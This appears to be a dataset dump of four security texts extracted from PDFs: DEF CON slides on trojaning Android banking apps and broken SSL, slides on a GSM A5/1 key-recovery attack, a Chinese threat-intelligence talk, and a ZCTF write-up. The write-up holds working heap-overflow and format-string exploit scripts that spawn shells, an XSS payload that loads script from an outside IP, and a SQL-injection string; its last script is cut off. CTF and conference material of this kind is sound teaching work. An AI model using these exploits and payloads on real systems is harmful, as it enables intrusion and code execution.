text
stringlengths
100
9.93M
category
stringclasses
11 values
Security)Auditing)Mobile)Apps) ! DEF)CON)23! Sat.,)Aug)9,)2015)9C1! Sam)Bowne) City)College)San)Francisco! Slides)and)projects)at)samsclass.info) Adding&Trojans&to&Apps& Slides'and'projects'at'samsclass.info' Android&is&#1& •  80%&market& share&in&2014& – Link&Ch&4a& Slides'and'projects'at'samsclass.info' App&Signing& •  All&apps&must&be&signed&to&be&installed,&BUT& – Android&allows&selfEsigned&cerGficates& •  Google&Play&is&the&"official"&app&store,&BUT& – Google&doesn't&police&it&well& – Apps&can&be&installed&from&email,&Web&pages,&etc.& Slides'and'projects'at'samsclass.info' Android&Debug& Bridge& •  CommandEline&tool& •  Allows&you&to&communicate&with&a&mobile& device&via&a&USB&cable&or&an&SVD&running& within&an&emulator& •  Connects&to&device's&daemon&running&on&TCP& port&5037& Slides'and'projects'at'samsclass.info' Useful&ADB&Commands& •  push& – Copies&a&file&from&your&computer&to&the&mobile& device& •  pull& – Copies&a&file&from&the&mobile&device&to&your& computer& •  logcat& – Shows&logging&informaGon&on&the&console& – Useful&to&see&if&an&app&or&the&OS&is&logging& sensiGve&informaGon& Slides'and'projects'at'samsclass.info' Useful&ADB&Commands& •  install& – Copies&an&applicaGon&package&file&(APK)&to&the& mobile&device&and&installs&the&app& – Useful&for&sideEloading&apps&(so&you&don't&have&to& use&Google&Play)& •  shell& – Starts&a&remote&shell&on&the&mobile&device& – Allows&you&to&execute&arbitrary&commands& Slides'and'projects'at'samsclass.info' Decompiling&and&Disassembly& Slides'and'projects'at'samsclass.info' StaGc&Analysis& •  Source&code&is&generally&kept&confidenGal&by& app&developers& •  A&binary,&compiled&app&can&be&analyzed&by& disassembling&or&decompiling&them,&into& – Smali&assembly&code&(used&by&Dalvik&VM),&or& – Java&code& Slides'and'projects'at'samsclass.info' Slides'and'projects'at'samsclass.info' TD&Ameritrade& •  No&obfuscaGon& Slides'and'projects'at'samsclass.info' Bank&of&America& •  ProGuard&Free&Obfuscator& – Worthless& Slides'and'projects'at'samsclass.info' Java&v.&Smali&Code& Slides'and'projects'at'samsclass.info' Building&&&Signing&an&App& Slides'and'projects'at'samsclass.info' Monitoring&the&Log& Slides'and'projects'at'samsclass.info' ./adb&logcat& •  Much&becer&way&to&monitor&log& •  Filter&with&grep& Slides'and'projects'at'samsclass.info' Acacks&via&Decompiling&and& Disassembly& •  Insert&Trojan&code,&like&keyloggers& •  Find&encrypGon&methods&&&keys& •  Change&variables&to&bypass&clientEside& authenGcaGon&or&input&validaGon& •  Cheat&at&games& Slides'and'projects'at'samsclass.info' •  Link&Ch&4z43& Slides'and'projects'at'samsclass.info' StepEbyEStep:&Bank&of&America& Slides'and'projects'at'samsclass.info' StepEbyEStep:&Bank&of&America& Slides'and'projects'at'samsclass.info' StepEbyEStep:&Bank&of&America& Slides'and'projects'at'samsclass.info' StepEbyEStep:&Bank&of&America& Slides'and'projects'at'samsclass.info' DEMO:&Bank&of&America& Slides'and'projects'at'samsclass.info' DEMO:&The&Bancorp& Slides'and'projects'at'samsclass.info' DEMO:&Capital&One& Slides'and'projects'at'samsclass.info' DEMO:&SunTrust& •  Konylabs& •  Capture&HTTP& Parameters& Slides'and'projects'at'samsclass.info' DEMO:&TradeKing& •  App&is&patched!& •  "Verifier"&detects&the& Trojan& Slides'and'projects'at'samsclass.info' DroidDream&(2011)& •  Was&primarily&distributed&by&the&Google&Play&store& •  LegiGmate&apps&were&repackaged&to&include& DroidDream&and&then&put&back&in&the&Play&store& Slides'and'projects'at'samsclass.info' Google's&Response& •  Google&removed&the&repackaged&apps&from& the&Play&Store& •  But&50,000&–&200,000&users&were&already& infected& Slides'and'projects'at'samsclass.info' Google&ApplicaGon&VerificaGon&Service& •  Launched&in&2012& •  Tries&to&detect&malicious&apps&& •  Much&less&effecGve&than&3rdEparty&AV& – Link&Ch&5e& Slides'and'projects'at'samsclass.info' Decompiling,&Disassembly,&and& Repackaging&Countermeasures& •  Every&binary&can&be&reverseEengineered& – Given&enough&Gme&and&effort& •  Never&store&secrets&on&the&clientEside& •  Never&rely&on&clientEside&authenGcaGon&or& clientEside&validaGon& •  Obfuscate&source&code& – ProGuard&(free)&or&Arxan&(commercial)& Slides'and'projects'at'samsclass.info' DashO&–&Powerful&Obfuscator& Slides'and'projects'at'samsclass.info' All&Strings&Concealed& •  BUT&it&costs&$2000& Slides'and'projects'at'samsclass.info' Slides'and'projects'at'samsclass.info' Broken&SSL& RepeaGng&Old&Work& Slides'and'projects'at'samsclass.info' CERT's&Test&in&2014& •  23,667&vulnerable&apps& •  All&warned&in&2014&&by&CERT& Slides'and'projects'at'samsclass.info' SGll&Vulnerable& Slides'and'projects'at'samsclass.info' Simple&SSL&Test& •  Route&Android& traffic&through&Burp& Proxy& •  Don't&install&the& PortSwigger&root& cerGficate& •  This&is&a&MITM& acack& •  The&default& browser&detects&it& Slides'and'projects'at'samsclass.info' DEMO:&PicsArt&(100&Million)& Slides'and'projects'at'samsclass.info' DEMO:&InstaChat(100&Million)& Slides'and'projects'at'samsclass.info' DEMO:&OKCupid&–&FIXED!& Slides'and'projects'at'samsclass.info' DEMO:&Safeway&(1&Million)& Slides'and'projects'at'samsclass.info' Broken&SSL& Medical&Apps& Slides'and'projects'at'samsclass.info' CERT&found&265&Vulnerable& Medical&Apps& Slides'and'projects'at'samsclass.info' HIPAA& Slides'and'projects'at'samsclass.info' My&Repeat&of&CERT&Tests& Slides'and'projects'at'samsclass.info' DEMO:&GenieMD& Slides'and'projects'at'samsclass.info' DEMO:&LowestMed&corporate& Slides'and'projects'at'samsclass.info' LowestMed&Response& •  Phone&call&to&President&of&CCSF&threatening&a& lawsuit& •  Aoer&I&contacted&their&lawyer,&he&told&me&that& there&is&no&PII&in&the&app&beyond&this&point,&so& it&is&not&a&covered&enGty&under&HIPAA& Slides'and'projects'at'samsclass.info' Broken&SSL& TesGng&New&Apps& Slides'and'projects'at'samsclass.info' Responsible&Disclosure& •  I&&need&to&give&these&guys&Gme&to&respond,&so& most&of&them&are&sGll&confidenGal& •  I&can&discuss&one,&because&they&fixed&it&really& fast!& Slides'and'projects'at'samsclass.info' Blue&Cross&Blue&Shield&of&North& Carolina& Slides'and'projects'at'samsclass.info' Leaked&Blue&Cross&CredenGals& •  Also&leaked&Facebook,& Twicer,&and&YouTube& credenGals& Slides'and'projects'at'samsclass.info' Fixed&in&Two&Days& •  New&version&refuses&to& use&invalid&SSL& cerGficates& Slides'and'projects'at'samsclass.info' Security&Products& Slides'and'projects'at'samsclass.info' AIG&MobileGuard& Security&app& required&for& insurance& coverage& & Removed& from&Google& Play&aoer&my& reports& Slides'and'projects'at'samsclass.info' Already&Trojaned&!& Slides'and'projects'at'samsclass.info' Local&Storage&of&SensiGve&Data& Slides'and'projects'at'samsclass.info' Security'Ques6on' Security'Answer' PIN' DEMO:&MobileSuperHero& (10,000)& •  Logs&the&PIN& •  Last&update&12E13E12& Slides'and'projects'at'samsclass.info' DEMO:&Virgin&Mobile&Rescue& (100,000)& •  Logs&the&PIN& •  Last&update&7E22E13& •  Must&uninstall&Mobile& Superhero&to&use&it& Slides'and'projects'at'samsclass.info' DEMO:&Rebound&(50)& •  Logs&the&PIN& •  Last&update&7E16E13& Slides'and'projects'at'samsclass.info' DEMO:&Rebound&Mobile&Security& (50)& •  Logs&the&PIN& •  Last&updated&11E7E2013& Slides'and'projects'at'samsclass.info'
pdf
GSM: WE CAN HEAR EVERYONE NOW! DEFCON 2019 Campbell Murray, Eoin Buckley James Kulikowski, Bartek Piekarski BlackBerry © 2018 BlackBerry. All Rights Reserved. 2 AGENDA • Slides detail a key vulnerability in GSM. • Highlights derivation of indicator to exploit this vulnerability. • Section 1: Concept Overview • Section 2: Attack Mechanics • Section 3: Demonstration • Section 4: Cellular Security Discussion • Section 5: Q & A Concept Overview © 2018 BlackBerry. All Rights Reserved. 4 Concept Overview • GSM background • Concept for GSM (digital) started in the late 1980s • Major improvement over AMPS (analogue) • GSM Security has several design issues • Support for key sizes <= 64 bits • Encrypted data contains redundancy • Error control coding before ciphering © 2018 BlackBerry. All Rights Reserved. 5 Concept Overview Message Error Control Codeword Cipherstream Cipher A5/1 Ciphertext • Typical GSM Channel Structure • Encryption with A5/1 • Key maximum 64 bits length • Convolutional error control code • Intended to combat noise from wireless channel • Attack uses code to identify cipherstream “noise” Convolutional code © 2018 BlackBerry. All Rights Reserved. 6 Concept Overview Message Error Control Codeword Cipherstream Cipher A5/1 Ciphertext • High level view of attack • Capture GSM frame • Compute a cipherstream/key indicator • Use convolutional code parameters • Use indicator with a Rainbow table to identify ciphering key • Use indicator as a fingerprint for ciphering key Convolutional code Attack Mechanics © 2018 BlackBerry. All Rights Reserved. 8 Attack Mechanics Message (184 bits) Conv. Codeword (456 bits) Cipherstream (456 bits) Cipher A5/1 Ciphertext (456 bits) • Demonstration uses SACCH control channel • Compromise of SACCH also compromises voice (same key) • Works for any SACCH message • Indicator/fingerprint is independent of the message • Knowledge of plaintext is not needed Convolutional code SACCH FIRE code (224 bits) © 2018 BlackBerry. All Rights Reserved. 9 Attack Mechanics • Indicator computation: Deconvolution xor Input m (224 bits) Conv. Code Encrypted Conv. stream c1 (228 bits) Cipher A5/x g1 g2 Encrypted Conv. stream c2 (228 bits) Deconvolve stream c1 & g1 Deconvolve stream c2 & g2 xor streams q1 & q2 Stream q1 (224 bits) Stream q2 (224 bits) Stream q1 xor q2 (224 bits) 1 0 0 1 1 0 0 0 1 …. 1 0 1 0 1 1 0 1 1 …. Conv. Code Parameters • g1: 1 0 0 1 1 • g2: 1 1 0 1 1 Indicator © 2018 BlackBerry. All Rights Reserved. 10 10 Attack Mechanics • The indicator “q1 xor q2”is • Computed using the full convolutional codeword • Independent of SACCH message • Fully determined by 1)The cipher stream and 2) Convolutional code • 224 bits long • More than sufficient to identify a 64 bit key • Rainbow table for A5/1 • Expected storage requirement: 1.5 Tera bytes • Based on Rainbow table created by Karsten Nohl in DEFCON 2010 Demonstration Cellular Security Discussion © 2018 BlackBerry. All Rights Reserved. 13 13 Cellular Security • Indicator attack made possible in GSM: • Small key size (e.g. At most 64 bits for A5/1) • Ciphering after error control code • Additional attacks on GSM include: • Karsten Nohl (DEFCON 2010) “Attacking phone privacy” • Barkan et al. 2006 “Instant Ciphertext-only Cryptanalysis of GSM encrypted communication” • False Basestation attacks © 2018 BlackBerry. All Rights Reserved. 14 14 Cellular Security • Beyond GSM into 3G-to-5G: • Reduced security risk • Minimum encrypting key size of 128 bits • Error control coding applied after encryption not before • Cellular industry actively studying solutions for GSM security • 3GPP TR 33.809 v0.5.0 “Study on 5G Security Enhancements against False Basestations” Q&A Thank You Appendix © 2018 BlackBerry. All Rights Reserved. 17 17 Appendix Consider the addition of the A5/x cipherstream to the codeword Separate cipherstream into portion xor’d for conv code output 1 & 2 Let output 1 cipherstream be: s1 Let output 2 cipherstream be: s2 Denote the resulting ciphertext portions as: c1 = s1 + p1 = s1 + m*g1 c2 = s1 + p2 = s2 + m*g2 Message m p1 Conv. Code (1st half of A5/x output) s1 c1 s2 (2nd half of A5/x output) p2 c2 © 2018 BlackBerry. All Rights Reserved. 18 18 Appendix The key to the attack is that the ciphertext portions can also be divided by g1 & g2 respectively for quotient q1 & q2 C1 = s1 + p1 = s1 + m*g1 = (q1*g1 + r1) + m*g1 C2 = s2 + p2 = s2 + m*g2 = (q2*g2 + r2) + m*g2 Rearranging c1&c2 we can now write C1 = (q1*g1 + r1) + m*g1 = (q1 + m)*g1 + r1 C2 = (q2*g2 + r2) + m*g2 = (q2 + m)*g2 + r2 By deconvolving the ciphertext c1&c2 by g1&g2 respectively we can product the quotients (q1+m) (q2+m) Adding these quotients generates (q1+q2) which is independent of the “m” : (q1+m) + (q2+m) = (q1+q2)
pdf
甲⽅方威胁情报杂谈 分享嘉宾 阿⾥里里安全 王伟 alert7 Who am I? • Aka alert7 ,Xfocus核⼼心成员 • 曾McAfee⾼高级研究员 • 原翰海海源 联合创始⼈人&技术总监 • 微博 _alert7_ • 阿⾥里里安全归零实验室 功夫 议程 甲⽅方威胁情报的尴尬 甲⽅方情报能⼒力力成熟度模型 传统情报体系 情报的⼀一些特性 把威胁情报卖给甲⽅方 甲⽅方威胁情报的尴尬-现状的尴尬 2015年年圈内戏称威胁情报元年年,各⼤大 甲⽅方公司纷纷建⽴立威胁情报团队 2017年年年年尾,听说好多甲⽅方威胁 情报团队解散 价值衡量量的尴尬 正向业务(挣钱的) 负向业务(花钱的) 销售额/ 利利润 装机量量/ ⽤用户数 建⽴立优势 内部保障 ⻛风险解决 内需 快速变化⻛风险与能⼒力力产品的尴尬 假如有颗产品的⼼心,⼀一开始不不知道如何⽤用产品来做,等你知道了了⻛风险开始变⼩小了了; 已 经花了了20%的代价把80%的⻛风险都⼲干掉了了,⻛风险⼩小了了还要继续产品打造吗? 假如快速响应⻛风险,⼈人⼯工运营,效率在哪⾥里里?能⼒力力沉淀在哪⾥里里?⻓长远的路路在哪⾥里里? 如何平衡? ⻛风险 产品 位置的尴尬 •  ⼯工作部分重叠 •  是否有核⼼心竞争⼒力力 业务团队1 业务团队2 业务团队3 情报团队 定位的尴尬 保镖 商业化 定位 愿景 战略略/打法 项⽬目/抓⼿手 议程 甲⽅方威胁情报的尴尬 甲⽅方情报能⼒力力成熟度模型 传统情报体系 情报的⼀一些特性 把威胁情报卖给甲⽅方 传统威胁情报的成熟度 情报能⼒力力的成熟度 预测 溯源调查 源头识别 影响评估 识别事件(确认线索) 成熟度:传统威胁情报 VS 情报能⼒力力 正向安全与反向安全 正向安全 反向安全 SDL 安全管理理 规范 安全测试 杀病毒 IDS/IPS 反APT产 品 防⽕火墙 漏漏扫 反向安全的终极问题 • 能否发现攻击和⻛风险? 能否快速⽌止⾎血? 能否评估影响范围? 能否知道是谁(⼈人、资产等)意图是什什么?能否预测下⼀一步 他想做啥? 检测识别 源头识别 评估影响 快速⽌止⾎血 溯源调查 (⼈人、资产 ⼿手法、产业 链) 预测 看清⼤大盘 事件 情报线索 甲⽅方要的是真正的情报能⼒力力 议程 甲⽅方威胁情报的尴尬 甲⽅方情报能⼒力力成熟度模型 传统情报体系 情报的⼀一些特性 把威胁情报卖给甲⽅方 情报学 萨尔基斯: 情报有机密 性 汉德尔:情 报具备对抗 性,反情报 也是情报的 组成部分 情报是对组织⾄至关重要 的知识 情报是⼀一种⽣生产知识的 组织 情报是组织追求知识的 活动 情报是⽀支撑⾏行行动和决策 的知识 情报是帮助组织获得竞 争优势的 情报可以降低冲突的不不 确定性 谢尔曼-肯特 •  作为名称,情报是知识 •  作为动词,情报基本活动分为收集、分析、反情报 •  情报=信息+分析结果 •  情报分析本质上是⼀一场智⼒力力的游戏 •  情报本质是⽤用来降低不不确定性的 传统情报⼯工作的要素 情报收集 情报分析 反情报 ⼈人 ⼒力力 情 报 公 开 信 息 技 术 情 报 翻 译 解 密 关 联 推 导 反 谍 电 ⼦子 ⼲干 扰 保 密 & 加 密 假 情 报 隐蔽⾏行行动 暴暴 ⼒力力 ⽀支 援 影 响 声学情报 红外情报 激光情报 核情报 光学情报 雷雷达情报 地理理空间 情报 互联⽹网深 度情报 情报⽣生成的过程 数据 信息 知识 智⼒力力 认 知 判 断 收 集 ⾏行行动/决策 分 发 流 转 序 化 破 译 评 估 反 馈 博 ⼤大 精 深 反情报 •  反情报是情报对抗的升级 ⻬齐柏 林林计 划 北北⽅方 坚忍 计划 南⽅方 坚忍 计划 ⽔水银 计划 霸王计划 诺曼底登陆 加莱 罗、匈:从法 国抽4个师 挪威、瑞典: 牵制13个师 微光 计划 牵制第15军 APT中的反情报 DUQU 2.0 嫁祸⽬目标 Ugly.gorilla APT1 Camellia APT1 Romanian.antihacker 罗⻢马尼亚 LZJB 算法 MiniDuke⽊木⻢马 ⻩黄⽜牛对抗的反情报 反跟踪,反调试 举报同⾏行行 情报收集-看NSA的天罗地⽹网 棱镜 主⼲干道 码头 核⼦子 TAO 从线下的情报能⼒力力到线上的情报能⼒力力 从点的情报能⼒力力到⽹网的情报能⼒力力 ⼀一体化的情报收集到情报⾏行行动能⼒力力 情报收集-看NSA的天罗地⽹网 通讯基本靠吼 交通基本靠⽑毛驴 情报分析-“川普”24⼩小时夺旗战 跟纽约博物馆合作 好莱坞演员 Shia LaBeouf 新墨墨⻄西哥州的⼀一个剧院外 秘密据点 anti-trump新项⽬目“HE WILL NOT DIVIDE US” 情报分析-“川普”24⼩小时夺旗战 匿匿名论坛4chan 支持川普 技术宅者如何能忍 2 ⽇日落时间+天⽓气变化 1 看⻛风⼒力力和实时⽓气象⻛风⼒力力—初步判断是五⼤大 湖区域(百公⾥里里级别) 3 社交⽹网络情报 - 餐馆在美国⽥田纳⻄西州 的Greeneville. (城市级别) 情报分析-“川普”24⼩小时夺旗战 4 ⻜飞机-三⻆角定位(10公⾥里里级别) 5 汽⻋车按喇喇叭 情报分析-“川普”24⼩小时夺旗战 6 星轨 (1公⾥里里级别) 情报分析-“川普”24⼩小时夺旗战 7 Bingo! 实地考察 情报能⼒力力中两个重要的⽅方向-信源建设 • 信源-感知世界的眼睛 • 美国NSA N多计划 包括棱镜⻔门计划 和藏宝图计划 • 企业信源(内部系统⽇日志、埋点;外 部爬、蜜罐、采购、合作等) 情报能⼒力力中两个重要的⽅方向-情报分析 •  情报分析本质是一个推理过程,不仅要关注结论,更 要关注论据 •  情报分析过程中重要的是思想和想法 •  情报分析不是拼图游戏,是大胆假设,小心求证的过 程 •  情报分析-交叉验证,多路径到达 议程 甲⽅方威胁情报的尴尬 甲⽅方情报能⼒力力成熟度模型 传统情报体系 情报的⼀一些特性 把威胁情报卖给甲⽅方 情报的⼀一些特性 情报是需要对⼿手的 情报的⼀一些特性 情报是更更偏对外的 情报的⼀一些特性 情报总是⽬目标相关的(⽤用来解决问题的) 情报应该是可actionable的(可供⾏行行动⽤用的) ---《情报分析:以⽬目标为中⼼心的⽅方法》 情报的⼀一些特性 情报要向技术要红利利 CASE CNCERT合作《最⾼高检诈骗通报预警》 议程 甲⽅方威胁情报的尴尬 甲⽅方情报能⼒力力成熟度模型 传统情报体系 情报的⼀一些特性 把威胁情报卖给甲⽅方 把威胁情报卖给甲⽅方 IOC 卖贴业务的⻛风险 事件/线索 卖SaaS威胁情 报服务 源数据 卖⿊黑库 卖⻛风险情报 卖数据 卖能⼒力力 个⼈人 可提交ASRC IP数据 蜜罐代理理数据 暗⽹网数据 全⽹网指纹 Q & A
pdf
ZCTF writeup Nu1L Misc: Russian zips 我的世界的东西。。。 Zctf{4t1Ve_!} Sign in 公众号回复 flag misc400 stegsolve 看图片发现这个 文件末尾有一串 base64,解密得到一个损坏的压缩包 修复后解压。发现很多 txt,有一个 start,打开是乱码,但是看内容前几个字符,发现是 bz2 的文件头,把后缀改成 bz2 就可 以解压了,发现还有一个 txt 指向下一个 txt,于是,把所有的 txt 改成 bz2,在 windows 下批量解压,然后在 linux 下 cat 所有文件,直接得到了密码,然后解压 flag.rar 得到密 码 Web: Web100 .index.php.swp 然后 substr 后的数值是 0e 开头,典型的弱类型比较,写个脚本就 ok: Web100-find my eyes 有一个联系管理的地方,在textarea的地方可以xss,过滤了很多,根据csp看到只能利用script 实现绕过,想到以前看到过pkav的一个payload,拿过来改改,过滤了#用@替代,过滤了冒 号,所以最终payload是 Name=albertchang&[email protected]&Team=aaaaaaaaasdsadsads&textarea=<script>// @ sourceMappingURL=//198.35.45.72/</script> Web200apk 抓包。在 burp 发包,发现当输入为 1’ OR 1=1#时返回 admin,猜测为注入 于是把加密算法分出来,经过测试,发现过滤很严,最后用 desc 成功盲注,密码为: CleverBoy123。 然后进入第二层 mail.php,猜测是 PHPMailer 的洞,一发 exp 打过去拿到 flag: RE easy reverse 一个 dll,调用 get_string 进入程序流程,将输入加密后与程序中保存的结果对比。由于加 密是两个字符一个单位,爆破可以非常容易的得到对应关系,然后解密即可。 dll 调用可以使用 python 的 ctypes 库完成,之后 ida attach 找到对应 dll 调试即可。 算结果用的脚本 remap = {0L: 27499, 1L: 19098, 3L: 2467, 4L: 18454, 6L: 10763, 7L: 171 63, 10L: 2771, 11L: 12963, 12L: 23111}#太多不写了。。 b = [0xbf,0xf1,0x6a,0x2c,0x10,0xb,0x16,0x59,0xba,0x3a,0x8c,0x49,0x5,0x1b, 0x4,0xe2,0x85,0xd5,0xc2,0xfc,0xd7,0x9b,0xe9,0x42] output= "" for i in range(0,len(b),2): out = remap[(b[i]<<8)|(b[i+1])] print (b[i]<<8)|(b[i+1]) output+=chr(out&0xff) output+=chr(out>>8) print output QExtend 程序有两次校验,第一层为汉诺塔,要把一个形如 aa cc dd bb ee 的汉诺塔的圆盘全部移动到中间一个柱子上,且总步数不能超过 26。 这步直接暴力搜索即可获取所有路线,大概有十几条。 第二层为判断输入去除 ZCTF{}后进行 md5 得到的结果是否与程序中保存的一致。 第一步限定条件过于简单,导致有大量输入可以通过校验,全部算一遍 md5 不现实暂时卡 住。 第二天提示最优解,于是找出最短的执行序列 steps = [['!', '1', 'A', 'Q', 'a', 'q'], ['&', '6', 'F', 'V', 'f', 'v'], ['$', '4', 'D', 'T', 'd', 't'], ['#', '3', 'C', 'S', 'c', 's'], ['&', '6', 'F', 'V', 'f', 'v'], ['%', '5', 'E', 'U', 'e', 'u'], ['"', '2', 'B', 'R', 'b', 'r'], ['!', '1', 'A', 'Q', 'a', 'q'], ['%', '5', 'E', 'U', 'e', 'u'], ['"', '2', 'B', 'R', 'b', 'r'], ['#', '3', 'C', 'S', 'c', 's'], ['$', '4', 'D', 'T', 'd', 't'], ['"', '2', 'B', 'R', 'b', 'r'], ['!', '1', 'A', 'Q', 'a', 'q'], ['%', '5', 'E', 'U', 'e', 'u'], ['&', '6', 'F', 'V', 'f', 'v'], ['#', '3', 'C', 'S', 'c', 's'], ['%', '5', 'E', 'U', 'e', 'u'], ['"', '2', 'B', 'R', 'b', 'r'], ['!', '1', 'A', 'Q', 'a', 'q'], ['%', '5', 'E', 'U', 'e', 'u']] steps[i]即代表第 i 位可能的字符。 之后使用 hashcat 爆破 md5。hashcat 默认只支持 4 个自定义字符集,而由于汉诺塔有 6 种移动方式需要6种字符集,于是修改 hashcat 的代码在mpsp.c中将系统预留的 l 和 u 字 符集改为第 5 种和第 6 种移动方式。 之后使用修改后的 hashcat 爆破: hashcat -m 0 -a 3 --custom-charset1 '!1AQaq' --custom-charset2 '"2BRbr' --custom-charset3 '#3CScs' --custom-charset4 '$4DTdt' ../target.hash '?1?u?4?3?u?l?2?1?l?2?3?4?2?1?l?u?3?l?2?1?l' 得到 flag A&$#&5rA5r#$rA5&#5rA5 PWN Dragon 由于 add 时的 name 经过 strdup,在 edit 时会导致 heap overflow,可以溢出到 top_chunk 上 的 size,另外在 list 时可以 leak heap 的地址,这样就可以进行 house of force 实现任意地址 写,我这里改写了 note array 的值,最后修改 got 表 getshell from pwn import * DEBUG = 1 ATTACH = 0 LOCAL = 0 if DEBUG: context.log_level = 'debug' if LOCAL: io = process('./dragon') if ATTACH: gdb.attach(io) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') else: io = remote('58.213.63.30', 11501) libc = ELF('./libc-2.19.so') def add_note(name_size, name, content): io.recvuntil('>> ') io.sendline('1') io.recvuntil('please input note name size: ') io.sendline(str(name_size)) io.recvuntil('please input note name: ') io.send(name) io.recvuntil('please input note content: ') io.send(content) def edit_note(index, content): io.recvuntil('>> ') io.sendline('2') io.recvuntil('input note id: ') io.sendline(str(index)) io.recvuntil('please input new note content: ') io.send(content) def delete_note(index): io.recvuntil('>> ') io.sendline('3') io.recvuntil('input note id: ') io.sendline(str(index)) def list_note(index): io.recvuntil('>> ') io.sendline('4') io.recvuntil('input note id: ') io.sendline(str(index)) elf = ELF('./dragon') #raw_input('go?') add_note(32, 'bird1\n', 'a\n') add_note(32, 'bird2\n', 'b\n') payload1 = p64(elf.got['puts']) * 4 add_note(32, payload1, 'c\n') add_note(32, 'bird3\n', 'd\n') edit_note(0, 'A' * 32) list_note(0) io.recvuntil('A' * 32) content = io.recvuntil('\n') heap_addr = u64(content[:-1].ljust(8, '\x00')) log.info('heap_addr:%#x' % heap_addr) heap_addr2 = heap_addr + (0x1ebc110 - 0x1ebc0a0) log.info('heap_addr2:%#x' % heap_addr2) delete_note(2) edit_note(3, 'A' * 24 + p64(0xffffffffffffffff)) # house of force fake_size = 0x6020E0 - 16 * 3 - (heap_addr + 0x14d91c0 - 0x14d90a0) io.recvuntil('>> ') io.sendline('1') io.recvuntil('please input note name size: ') io.sendline(str(fake_size)) io.recvuntil('please input note name: ') io.recvuntil('please input note content: ') io.send('A' * 32) payload2 = p64(heap_addr2) * 4 edit_note(4, payload2) list_note(0) io.recvuntil('name: ') content = io.recvn(6).ljust(8, '\x00') puts_addr = u64(content) system_addr = libc.symbols['system'] - libc.symbols['puts'] + puts_addr log.info('puts_addr:%#x' % puts_addr) log.info('system_addr:%#x' % system_addr) edit_note(0, '/bin/sh\x00' + p64(system_addr) + '\n') io.interactive() Login (Pwn 200) 栈溢出但是有 canary,不过可以通过覆盖栈上的格式化字符串造成 fsb 脚本: #!/usr/bin/env python2 # -*- coding:utf-8 -*- from pwn import * from ctypes import * import os, sys # switches DEBUG = 0 LOCAL = 0 VERBOSE = 1 os.environ['LD_PRELOAD'] = './libc-2.19.so' # modify this if LOCAL: io = process('./login') else: io = remote('58.213.63.30',4002) if VERBOSE: context(log_level='debug') # define symbols and offsets here # simplified r/s function def ru(delim): return io.recvuntil(delim) def rn(count): return io.recvn(count) def ra(count): # recv all buf = '' while count: tmp = io.recvn(count) buf += tmp count -= len(tmp) return buf def sl(data): return io.sendline(data) def sn(data): return io.send(data) def info(string): return log.info(string) def dehex(s): return s.replace(' ','').decode('hex') def limu8(x): return c_uint8(x).value def limu16(x): return c_uint16(x).value def limu32(x): return c_uint32(x).value # define interactive functions here def reg(username, password): ru('username:') sl(username) ru('password:') sl(password) return # define exploit function here def pwn(): if DEBUG: gdb.attach(io) stack_chk_fail_got = 0x0804A014 puts_got = 0x0804A01C main = 0x0804878C addrs = p32(stack_chk_fail_got) + p32(stack_chk_fail_got+1) + p32(stack_chk_fail_got+2) + p32(stack_chk_fail_got+3) pad = 'AAAAAAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJ AAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9' prefix = addrs + pad[16:] uname = prefix fmtstr = '~~~' fmtstart = 3 for i in xrange(4): fmtstr += '%' + '%03d'%(ord(p32(main)[i]) - fmtstart + 256) + 'c%' + str(10+i) + '$hhn' fmtstart = ord(p32(main)[i]) uname += fmtstr uname = uname.ljust(0x100) reg(uname, '1') uname = p32(0x0804A00C) + pad[4:] fmtstr = '!!!%10$s!!!' uname += fmtstr reg(uname, '1') ru('!!!!!!') read_addr = u32(rn(4)) info("read_addr = " + hex(read_addr)) #read_offset = 0x000daf60 read_offset = 0xd9880 #system_offset = 0x00040310 system_offset = 0x3fe70 libc = read_addr - read_offset system = libc + system_offset for i in xrange(4): uname = 70*'A' reg(uname, '1') #environ_offset = 0x1ACE00 environ_offset = 0x1A8E00 environ_addr = libc + environ_offset addrs = p32(environ_addr+1) + p32(environ_addr+2) + p32(environ_addr+3) uname = addrs + pad[12:] fmtstr = '~~~' fmtstart = 3 env = '\xa4\x04\x08' for i in xrange(3): fmtstr += '%' + '%03d'%(ord(env[i]) - fmtstart + 256) + 'c%' + str(10+i) + '$hhn' fmtstart = ord(env[i]) uname += fmtstr uname = uname.ljust(0x100) reg(uname, '1') for i in xrange(4): uname = 70*'A' reg(uname, '1') addrs = '/bin/sh;' + p32(puts_got) + p32(puts_got+1) + p32(puts_got+2) + p32(puts_got+3) uname = addrs + pad[24:] fmtstart = 3 fmtstr = '~~~' for i in xrange(4): fmtstr += '%' + '%03d'%(ord(p32(system)[i]) - fmtstart + 256) + 'c%' + str(12+i) + '$hhn' fmtstart = ord(p32(system)[i]) uname += fmtstr uname = uname.ljust(0x100) reg(uname, '1') sl('/bin/sh;') sl('/bin/sh;') io.interactive() return if __name__ == '__main__': pwn() Class (Pwn 300) 初始化的 malloc 之前有整数溢出转化为堆溢出,然后修改堆上申请的 jmp_buf 脚本: #!/usr/bin/env python2 # -*- coding:utf-8 -*- from pwn import * from ctypes import * import os, sys # switches DEBUG = 0 LOCAL = 0 VERBOSE = 1 # modify this if LOCAL: io = process('./class') else: io = remote('58.213.63.30', 4001) if VERBOSE: context(log_level='debug') # define symbols and offsets here # simplified r/s function def ru(delim): return io.recvuntil(delim) def rn(count): return io.recvn(count) def ra(count): # recv all buf = '' while count: tmp = io.recvn(count) buf += tmp count -= len(tmp) return buf def sl(data): return io.sendline(data) def sn(data): return io.send(data) def info(string): return log.info(string) def dehex(s): return s.replace(' ','').decode('hex') def limu8(x): return c_uint8(x).value def limu16(x): return c_uint16(x).value def limu32(x): return c_uint32(x).value # define interactive functions here iOverflow = 92233720368547759 def init(count): ru('student:') sl(str(count)) return def menu(): return ru('>>') def add(name, age, addr, intro): menu() sl('1') ru('name:') sl(name) ru('age:') sl(str(age)) ru('addr:') sl(addr) ru('introduce:') sl(intro) return def edit(index, name, age, addr, intro): menu() sl('3') ru('number:') sl(str(index)) ru('name:') sl(name) ru('age:') sl(str(age)) ru('addr:') sl(addr) ru('introduce:') sl(intro) return def view(index): menu() sl('2') ru('number:') sl(str(index)) return def ror11_64(x): mask = 0xffffffffffffffff result = (mask & (x>>0x11)) | (mask & (x<<(64-0x11))) return result def rol11_64(x): mask = 0xffffffffffffffff result = (mask & (x<<0x11)) | (mask & (x>>(64-0x11))) return result # define exploit function here def pwn(): 